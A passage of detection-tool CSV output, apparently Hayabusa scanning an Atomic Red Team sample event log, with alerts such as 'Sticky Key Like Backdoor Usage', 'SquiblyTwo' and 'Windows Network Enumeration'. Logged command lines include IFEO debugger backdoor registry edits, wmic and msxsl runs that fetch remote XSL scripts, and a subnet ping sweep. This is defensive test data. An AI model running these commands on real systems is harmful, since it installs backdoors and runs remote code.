C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\DisplaySwitch.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:17.990 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:17.990 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:17.990 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:18.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:19.467 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\atbroker.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:19.491 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\atbroker.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\atbroker.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:19.516 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:19.516 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:19.549 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:25.376 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:50.046 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Temp\msxsl.exe C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:50.086 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:53.011 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Temp\msxsl.exe https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:53.062 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:55.991 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""wmic.exe process /FORMAT:list"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:56.047 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: wmic.exe process /FORMAT:list : Path: C:\Windows\System32\wbem\WMIC.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""wmic.exe process /FORMAT:list""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:56.182 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.728 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""wmic.exe process /FORMAT:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.753 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: wmic.exe process /FORMAT:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl : Path: C:\Windows\System32\wbem\WMIC.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""wmic.exe process /FORMAT:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.753 +09:00,MSEDGEWIN10,1,medium,XSL Script Processing,,rules/sigma/process_creation/win_xsl_script_processing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.753 +09:00,MSEDGEWIN10,1,medium,SquiblyTwo,,rules/sigma/process_creation/win_bypass_squiblytwo.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.888 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:09.823 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""net view /domain"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:09.845 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: net view /domain : Path: C:\Windows\System32\net.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""net view /domain""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:09.845 +09:00,MSEDGEWIN10,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:09.845 +09:00,MSEDGEWIN10,1,low,Windows Network Enumeration,,rules/sigma/process_creation/win_net_enum.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:22.314 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""net view"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:22.333 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: net view : Path: C:\Windows\System32\net.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""net view""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:22.333 +09:00,MSEDGEWIN10,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:22.333 +09:00,MSEDGEWIN10,1,low,Windows Network Enumeration,,rules/sigma/process_creation/win_net_enum.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:34.797 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:35.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %%i in (1,1,254) do ping -n 1 -w 100 192.168.1.%%i"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:35.038 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.1 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:35.579 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.2 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:35.988 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.3 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:36.549 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.4 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:37.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.5 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:37.513 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.6 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:38.020 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.7 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:38.517 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.8 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:39.028 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.9 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:39.537 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.10 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:40.027 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.11 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:40.431 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.12 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:41.066 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.13 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:41.408 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.14 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:41.894 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.15 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:42.466 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.16 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:43.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.17 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:43.503 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.18 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:44.030 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.19 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:44.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.20 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:45.011 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.21 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:45.501 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.22 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:46.007 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.23 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:46.500 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.24 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:47.022 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.25 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:47.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.26 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:48.044 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.27 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:48.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.28 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:49.010 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.29 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 